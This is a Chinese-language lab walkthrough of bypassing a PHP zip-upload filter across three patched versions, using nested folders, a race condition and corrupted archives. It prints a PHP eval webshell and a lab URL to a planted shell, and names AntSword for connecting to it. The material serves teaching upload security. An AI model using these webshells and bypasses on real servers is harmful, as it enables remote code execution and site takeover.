原始漏洞
漏洞原理:我们上传一个zip的压缩包,它会解压然后删除其中不是.jpg .gig .png的文件
-
function check_dir($dir)
:这是一个PHP函数的定义,它接受一个参数$dir
,代表要检查的目录路径。 -
$handle = opendir($dir);
:使用opendir
函数打开指定目录,并将返回的目录句柄赋值给变量$handle
。 -
while (($f = readdir($handle)) !== false)
:使用readdir
函数循环读取目录中的文件,每次循环将文件名赋给变量$f
。 -
if (!in_array($f, array('.', '..'))) { ... }
:在每次循环中,检查当前文件名是否为当前目录(.
)或父目录(..
),如果不是,则执行下面的操作。 -
$ext = strtolower(substr(strrchr($f, '.'), 1));
:使用strrchr
函数找到文件名中的最后一个.
,然后使用substr
截取文件扩展名,并用strtolower
将其转换为小写。 -
if (!in_array($ext, array('jpg', 'gif', 'png'))) { unlink($dir . $f); }
:如果文件的扩展名不是jpg、gif或png,则使用unlink
函数删除该文件。
<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');
$file = $_FILES['file'];
if ($file['size'] == 0) {
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'uploads/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
function check_dir($dir)
{
$handle = opendir($dir);
while (($f = readdir($handle)) !== false) {
if (!in_array($f, array('.', '..'))) {
$ext = strtolower(substr(strrchr($f, '.'), 1));
if (!in_array($ext, array('jpg', 'gif', 'png'))) {
unlink($dir . $f);
}
}
}
}
if (!is_dir($dir)) {
mkdir($dir);
}
$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {
mkdir($temp_dir);
}
if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
if ($ext == 'zip') {
$archive = new PclZip($file['tmp_name']);
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit("解压失败");
}
check_dir($temp_dir);
exit('上传成功!');
} else {
move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
check_dir($temp_dir);
exit('上传成功!');
}
} else {
exit('仅允许上传zip、jpg、gif、png文件!');
}
如果我们把图片和php一句话木马文件一起压缩,上传后就会发现php被删除了。
绕过方法:我们把php文件单独放在一个文件夹中,然后将这个文件夹和图片一起压缩成zip,然后上传
这个bbb文件夹里面的111.php就没有被删除了,然后就可以连接蚁剑了
修复后版本
上面主要是没有进行递归删除导致的绕过,修复之后进行了递归删除
<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');
$file = $_FILES['file'];
if ($file['size'] == 0) {
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'uploads/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
function check_dir($dir)
{
$handle = opendir($dir);
while (($f = readdir($handle)) !== false) {
if (!in_array($f, array('.', '..'))) {
if (is_dir($dir . $f)) {
check_dir($dir . $f . '/');
} else {
$ext = strtolower(substr(strrchr($f, '.'), 1));
if (!in_array($ext, array('jpg', 'gif', 'png'))) {
unlink($dir . $f);
}
}
}
}
}
if (!is_dir($dir)) {
mkdir($dir);
}
$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {
mkdir($temp_dir);
}
if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
if ($ext == 'zip') {
// $zip = new ZipArchive;
// if(!$zip->open($file['tmp_name'])) {
// echo "fail";
// return false;
// }
// if(!$zip->extractTo($temp_dir)) {
// // check_dir($temp_dir);
// exit('fail to zip');
// }
$archive = new PclZip($file['tmp_name']);
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit("解压失败");
}
check_dir($temp_dir);
exit('上传成功!');
} else {
move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
check_dir($temp_dir);
exit('上传成功!');
}
} else {
exit('仅允许上传zip、jpg、gif、png文件!');
}
上传zip后我们发现,bbb中的111.php就被删除了
但是代码逻辑是先解压,后删除,我们就用时间竞争来绕过
因为我发现,同时使用burp上传和访问,经过多次尝试没有成功,我换了个操作,使用手动上传zip,burp访问php,多次手动上传之后,成功了
在我们的uploads下面生成了一句话木马文件,直接连蚁剑
再次修复版
<?php
header("Content-Type:text/html; charset=utf-8");
require_once('pclzip.lib.php');
$file = $_FILES['file'];
if ($file['size'] == 0) {
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'uploads/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
function check_dir($dir)
{
$handle = opendir($dir);
while (($f = readdir($handle)) !== false) {
if (!in_array($f, array('.', '..'))) {
if (is_dir($dir . $f)) {
check_dir($dir . $f . '/');
} else {
$ext = strtolower(substr(strrchr($f, '.'), 1));
if (!in_array($ext, array('jpg', 'gif', 'png'))) {
unlink($dir . $f);
}
}
}
}
}
if (!is_dir($dir)) {
mkdir($dir);
}
$temp_dir = $dir . 'member/1/';
if (!is_dir($temp_dir)) {
mkdir($temp_dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999)).'/'; //随机数生成文件,无法确定文件路径及文件名
if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) {
if ($ext == 'zip') {
$zip = new ZipArchive;
if(!$zip->open($file['tmp_name'])) {
echo "fail";
return false;
}
if(!$zip->extractTo($temp_dir)) {
// check_dir($temp_dir);
exit('fail to zip');
}
// $archive = new PclZip($file['tmp_name']);
// if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
// exit("解压失败");
// }
check_dir($temp_dir);
exit('上传成功!');
} else {
move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']);
check_dir($temp_dir);
exit('上传成功!');
}
} else {
exit('仅允许上传zip、jpg、gif、png文件!');
}
他还是先解压报错,后删除文件,我们制作一个能报错的zip,内含一句话木马的,然后直接上传错误的zip。
111.php:
<?php
@eval($_POST['a']);
?>
在aaaaaaa中存在以上文件,生成aaaaaaa.zip压缩包,然后对压缩包进行制作
最后解压要报错
将制作好的zip上传,同时使用burp连续访问
http://192.168.43.244/upload/uploads/26ae527babcadb24e0aedf1c9c0bcb3e/111.php
手动多次上传zip保证刚解压出来的111.php被访问到
发现上传成功了,生成了随机名文件
查看一句话木马发现已经生成
上蚁剑
造成以上漏洞的原因就是,解压完成的文件没有进行递归删除,导致包含其中的一句话木马绕过了。
三次修复版本
他是在上面的修复中,加了一个递归删除操作,这样做会将解压后的文件夹中的文件再进行递归删除。
if(!$zip->extractTo($temp_dir)) {
check_dir($temp_dir);
exit('fail to zip');
}
再次上传我们发现随机文件下的木马没了
这个的绕过方式就是逃出递归删除的目录,在解压的时候,将php直接上传到非解压路径
修改以上三个地方即可
不过我在复现时,zip怎么都不报错,暂时没成功